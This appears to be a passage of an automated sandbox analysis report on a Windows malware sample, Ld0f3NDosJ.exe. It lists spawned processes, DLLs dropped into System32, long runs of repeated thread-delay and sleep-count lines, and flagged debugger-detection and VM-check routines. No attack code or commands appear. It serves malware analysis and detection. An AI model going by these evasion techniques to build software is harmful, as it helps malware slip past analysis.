Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 3600000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6899	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2891	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8096	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1402	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7392	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1990	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6970
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2671
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7385
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2132
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5951
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3679
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7309
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2325
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5854
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3814

Source: C:\Windows\System32\svchost.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_53-123038

Source: C:\Windows \System32\printui.exe	Dropped PE file which has not been started: C:\Windows\System32\vcruntime140d.dll			Jump to dropped file
Source: C:\Windows \System32\printui.exe	Dropped PE file which has not been started: C:\Windows\System32\ucrtbased.dll			Jump to dropped file

Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	API coverage: 6.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 2.2 %
Source: C:\Windows\System32\console_zero.exe	API coverage: 1.7 %
Source: C:\Windows\System32\crypti.exe	API coverage: 9.0 %
Source: C:\Windows\System32\crypti.exe	API coverage: 9.0 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4824	Thread sleep count: 6899 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2264	Thread sleep count: 2891 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4632	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\timeout.exe TID: 1224	Thread sleep count: 82 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1524	Thread sleep count: 8096 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1524	Thread sleep count: 1402 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5588	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\timeout.exe TID: 4876	Thread sleep count: 79 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6540	Thread sleep count: 7392 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6540	Thread sleep count: 1990 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4148	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5044	Thread sleep count: 6970 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7072	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5044	Thread sleep count: 2671 > 30
Source: C:\Windows\System32\timeout.exe TID: 5956	Thread sleep count: 89 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6884	Thread sleep count: 7385 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6952	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1080	Thread sleep count: 2132 > 30
Source: C:\Windows\System32\svchost.exe TID: 1524	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1524	Thread sleep time: -28800000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6392	Thread sleep count: 5951 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6392	Thread sleep count: 3679 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 352	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\console_zero.exe TID: 4328	Thread sleep time: -50000s >= -30000s
Source: C:\Windows\System32\timeout.exe TID: 2820	Thread sleep count: 90 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4236	Thread sleep count: 7309 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4236	Thread sleep count: 2325 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1708	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\console_zero.exe TID: 2128	Thread sleep time: -50000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3884	Thread sleep count: 5854 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7100	Thread sleep count: 3814 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5728	Thread sleep time: -4611686018427385s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\svchost.exe

Code function: 53_2_64946F50 GetSystemTimeAdjustment followed by cmp: cmp ecx, 03h and CTI: jle 64946F63h

53_2_64946F50

Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E58E3C GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,__std_fs_open_handle,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,CloseHandle,CloseHandle,	3_2_00007FF646E58E3C
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E58CF8 FindClose,FindFirstFileExW,GetLastError,	3_2_00007FF646E58CF8
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E6D270 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_00007FF646E6D270
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C70144 FindClose,FindFirstFileExW,GetLastError,	59_2_00007FF6F8C70144
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C701B8 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,__std_fs_open_handle,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,CloseHandle,CloseHandle,	59_2_00007FF6F8C701B8
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C83764 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	59_2_00007FF6F8C83764
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D356D568 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	84_2_00007FF6D356D568
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA96D568 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	87_2_00007FF6EA96D568

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 60000
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 3600000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\console_zero.exe	Thread delayed: delay time: 50000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\console_zero.exe	Thread delayed: delay time: 50000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: Ld0f3NDosJ.exe, 00000003.00000002.2356433154.000001E8BF3D7000.00000004.00000020.00020000.00000000.sdmp, Ld0f3NDosJ.exe, 00000003.00000002.2356310555.000001E8BF369000.00000004.00000020.00020000.00000000.sdmp, Ld0f3NDosJ.exe, 00000003.00000003.2334869302.000001E8BF3D7000.00000004.00000020.00020000.00000000.sdmp, Ld0f3NDosJ.exe, 00000003.00000003.2334901082.000001E8BF368000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000035.00000002.3360728429.000001BB8BA13000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep			graph_3-18529
Source: C:\Windows\System32\console_zero.exe	Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe

